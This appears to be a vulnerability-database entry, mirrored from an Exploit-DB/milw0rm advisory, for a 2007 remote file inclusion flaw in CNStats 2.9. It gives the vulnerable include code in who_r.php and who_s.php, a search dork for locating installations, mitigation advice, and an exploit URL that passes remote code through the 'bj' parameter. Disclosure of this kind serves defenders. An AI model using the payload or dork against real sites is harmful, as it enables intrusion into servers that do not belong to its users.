header-logo
Suggest Exploit
vendor:
CNStats
by:
irvian
7.5
CVSS
HIGH
Remote File Include
CWE
Product Name: CNStats
Affected Version From: CNStats 2.9
Affected Version To: CNStats 2.9
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:
2007

CNStats 2.9 (who_r.php) Remote File Include Vulnerability

The CNStats 2.9 script is vulnerable to remote file inclusion. By exploiting the vulnerability in the 'who_r.php' and 'who_s.php' files, an attacker can include malicious code hosted on a remote server.

Mitigation:

The vendor should release a patch to fix the vulnerability. In the meantime, users are advised to restrict access to the affected files and implement proper input validation to prevent remote file inclusion.
Source

Exploit-DB raw data:

CNStats 2.9  (who_r.php) Remote File Include Vulnerability

-----------------------------------------------------------------------------------------
# Scripts       : CNStats 2.9
# Discovered By : irvian
# scripts site  : http://www.cnstats.com/
# dork          : "CNStats 2.9"
------------------------------------------------------------------------------------------
bug found:

/reports/who_r.php
/reports/who_s.php

  $bk = 't';
  include $bj . 'reports/who.php';


Exploit: http://www.target.com/reports/who_r.php?bj=[evilcode]

# milw0rm.com [2007-04-15]